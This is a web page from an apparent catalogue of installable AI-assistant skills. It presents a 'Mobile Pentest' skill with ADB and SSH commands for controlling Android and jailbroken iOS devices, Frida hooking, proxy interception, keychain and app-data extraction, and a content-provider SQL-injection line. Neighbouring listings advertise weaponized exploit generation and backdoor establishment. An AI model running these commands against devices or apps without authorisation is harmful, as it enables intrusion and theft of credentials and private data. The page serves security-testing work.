Menü
Complete mobile penetration testing — ADB/SSH automation, device control, exploitation
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Basierend auf der SOC-Berufsklassifikation
Next-generation 0day discovery & exploit development — comprehensive code analysis, allocator vulnerabilities, compiler-induced bugs, SIMD/vector issues, JIT vulnerabilities, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with exploit generation, privilege escalation, backdoor establishment
Next-generation 0day discovery — novel overflow patterns, allocator exploits, compiler-induced bugs, bounds-check bypass, SIMD/vector overflows, JIT vulns, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with weaponized exploit generation, privilege escalation, backdoor establishment
Container escape vulnerability discovery — Docker, Kubernetes, container runtime exploitation, namespace isolation bypass, privilege escalation through container boundaries
Crypto implementation analysis — weak algorithms, side-channels, key management flaws, padding oracles, random generation failures, implementation bugs
IoT device security analysis — firmware extraction, RTOS exploits, hardware interfaces, protocol vulnerabilities, side-channel attacks, update mechanism exploitation
Industrial control system security — Modbus, DNP3, IEC 104, Ethernet/IP, PLC exploitation, control logic manipulation, sensor/actuator attacks, ICS protocol analysis
| name | Mobile Pentest |
| description | Complete mobile penetration testing — ADB/SSH automation, device control, exploitation |
| tags | ["mobile","pentest","android","ios","methodology","automation","adb","ssh"] |
Task: Complete Mobile Penetration Testing. Systematic vulnerability assessment with device automation.
Android ADB Connection
Check ADB availability:
- Verify adb in PATH
- Check device connectivity: adb devices
- Test connection: adb shell echo "connected"
Configuration:
- Enable USB debugging
- Authorize computer
- Set ADB path (if custom)
- Port forwarding: adb forward tcp:8080 tcp:8080
Automation:
- Execute commands: adb shell <command>
- File transfer: adb push/pull
- Install APK: adb install app.apk
- Screen capture: adb screencap
- Logcat monitoring: adb logcat
iOS SSH/VNC Connection
Check jailbreak:
- Detect jailbreak: Cydia, Sileo, checkra1n
- Verify SSH: ssh root@localhost
- Default password: alpine
Configuration:
- Install OpenSSH (if missing)
- Change root password
- Setup VNC server
- Configure port forwarding
Automation:
- Execute commands: ssh root@device "command"
- File transfer: scp
- Install IPA: ssh root@device "installipa"
- Screen capture: VNC viewer
- Crash logs: /var/mobile/Library/Logs/CrashReporter/
Device Fingerprinting
Android:
- Device model: getprop ro.product.model
- Android version: getprop ro.build.version.release
- SDK version: getprop ro.build.version.sdk
- Security patch: getprop ro.build.version.security_patch
- SELinux status: getenforce
- Root status: which su
iOS:
- Device model: uname -m
- iOS version: sw_vers
- Jailbreak: cycript -c "Cydia"
- Architecture: uname -a
- Sandbox: ps aux
Android Device Automation
ADB shell automation:
# Install app
adb install -r app.apk
# Grant permissions
adb shell pm grant com.victim.app android.permission.READ_CONTACTS
# Start activity
adb shell am start -n com.victim.app/.MainActivity
# Broadcast intent
adb shell am broadcast -a com.victim.ACTION
# Content provider query
adb shell content query --uri content://com.victim.provider/data
# Extract app data
adb shell "run-as com.victim.app cat /data/data/com.victim.app/shared_prefs/settings.xml"
# Monitor logs
adb logcat | grep -i "vulnerability"
# Screen recording
adb screenrecord /sdcard/demo.mp4
iOS Device Automation
SSH automation:
# Install app
ssh root@device "installipa -i /tmp/app.ipa"
# Extract app data
ssh root@device "tar -czf /tmp/data.tar.gz /var/mobile/Containers/Data/Application/{UUID}/"
scp root@device:/tmp/data.tar.gz ./
# Monitor logs
ssh root@device "tail -f /var/log/syslog"
# Crash logs
ssh root@device "ls -la /var/mobile/Library/Logs/CrashReporter/"
# Keychain dump
ssh root@device "cat /var/Keychains/keychain-2.db > /tmp/keychain.db"
# Process list
ssh root@device "ps aux | grep VictimApp"
# SpringBoard restart
ssh root@device "killall SpringBoard"
Remote Control
Android:
- ADB input events: adb shell input tap x y
- Text input: adb shell input text "test"
- Key events: adb shell input keyevent KEYCODE_HOME
- Screenshot: adb shell screencap -p > screen.png
iOS (VNC):
- VNC connection: localhost:5900
- Screen control
- Touch simulation
- Text input
- App switching
Frida Automation
Deploy Frida server:
# Android
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"
# iOS
ssh root@device "frida-server &"
Frida scripts:
# Hook specific function
frida -U -f com.victim.app -l hook.js
# Spawn and attach
frida -U -f com.victim.app --no-pause
# Attach to running process
frida -U com.victim.app
# Load script
frida -U com.victim.app -l exploit.js
Traffic Interception
Setup proxy:
# Android
adb shell settings put global http_proxy 192.168.1.100:8080
# iOS (Wi-Fi proxy)
# Settings → Wi-Fi → (i) → HTTP Proxy → Manual
Certificate installation:
# Android
adb push burpca.crt /sdcard/
# Install via Settings → Security → Install from SD card
# iOS
# Email certificate, install via Settings
# Or: ssh root@device "cat burpca.crt > /etc/ssl/certs/"
Capture traffic:
# Burp Suite
# mitmproxy
# Proxyman
Android Exploit Automation
Install malicious APK:
1. Compile exploit APK
2. adb install exploit.apk
3. Trigger vulnerability: adb shell am start
4. Monitor results: adb logcat
5. Extract data: adb pull /sdcard/exploit_output.txt
SQL injection automation:
adb shell "content query --uri content://com.victim.provider/data --projection 'name' --where 'name=\"'\" OR 1=1--\"'"
Intent hijacking:
adb shell am start -n com.victim.app/.VulnActivity -e "key", "malicious_payload"
Content provider exploitation:
adb shell "content call --uri content://com.victim.provider/data --method delete"
iOS Exploit Automation
Install exploit tweak:
1. Compile with Theos
2. make package
3. scp com.exploit.deb root@device:/tmp/
4. ssh root@device "dpkg -i /tmp/com.exploit.deb"
5. Respring: ssh root@device "killall -9 SpringBoard"
Keychain extraction:
ssh root@device "keychain_dumper > /tmp/keychain.txt"
scp root@device:/tmp/keychain.txt ./
Pasteboard monitoring:
ssh root@device "pasteboarddumper &"
Sandbox escape:
ssh root@device "kernel_exploit_payload"
Android Data Extraction
Extract app data:
adb backup -apk com.victim.app
# Extract: dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
Extract shared preferences:
adb shell "run-as com.victim.app ls /data/data/com.victim.app/shared_prefs/"
adb shell "run-as com.victim.app cat /data/data/com.victim.app/shared_prefs/settings.xml"
Extract databases:
adb shell "run-as com.victim.app cat /data/data/com.victim.app/databases/database.db > /sdcard/db.db"
adb pull /sdcard/db.db
Extract files:
adb pull /sdcard/Download/
adb shell "run-as com.victim.app ls -R /data/data/com.victim.app/files/"
iOS Data Extraction
Extract app container:
ssh root@device "tar -czf /tmp/app.tar.gz /var/mobile/Containers/Data/Application/{UUID}/"
scp root@device:/tmp/app.tar.gz ./
Extract Keychain:
ssh root@device "keychain_dump > /tmp/keychain.txt"
scp root@device:/tmp/keychain.txt ./
Extract Preferences:
ssh root@device "plutil -p /var/mobile/Containers/Data/Application/{UUID}/Library/Preferences/*.plist"
Extract cache:
ssh root@device "ls -la /var/mobile/Containers/Data/Application/{UUID}/Library/Caches/"
MobSF Automation
Docker setup:
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
Upload APK/IPA:
curl -X POST \
-F "file=@app.apk" \
http://localhost:8000/api/v1/scan
Get results:
curl http://localhost:8000/api/v1/scan/{scan_id}/results_pdf
Automation script:
#!/bin/bash
for apk in *.apk; do
scan_id=$(curl -X POST -F "file=@$apk" http://localhost:8000/api/v1/scan | jq '.scan_id')
curl http://localhost:8000/api/v1/scan/$scan_id/results_pdf > report_$apk.pdf
done
QARK Automation
Run QARK:
cd QARK
python qark.py --apk /path/to/app.apk
Automated analysis:
#!/bin/bash
for apk in *.apk; do
python qark.py --apk $apk --report-type html
done
Generate Report
Collect findings:
- MobSF results
- QARK results
- Manual findings
- Exploit POCs
- Screenshots
- Log files
Generate HTML report:
python generate_report.py \
--apk app.apk \
--mobsf mobsf_results.json \
--qark qark_report.html \
--findings findings.json \
--output report.html
Generate PDF:
wkhtmltopdf report.html report.pdf
# Android pentest with ADB
/mobile-pentest
"Connect to Android device via ADB, install target APK, perform full security assessment including dynamic analysis and exploitation"
# iOS pentest with SSH
/mobile-pentest
"Connect to jailbroken iOS device via SSH, analyze target app, extract keychain data, develop sandbox escape exploit"
# Automated analysis
/mobile-pentest
"Run automated security analysis on this APK/IPA including MobSF scan, dynamic analysis with Frida, and exploit testing"
{
"android": {
"adb_path": "/usr/local/bin/adb",
"device_id": "emulator-5554",
"enable_adb": true
},
"ios": {
"ssh_host": "localhost",
"ssh_port": 2222,
"ssh_user": "root",
"ssh_password": "alpine",
"vnc_port": 5900,
"enable_ssh": true
},
"automation": {
"mobsf_url": "http://localhost:8000",
"frida_server": true,
"proxy": "192.168.1.100:8080"
}
}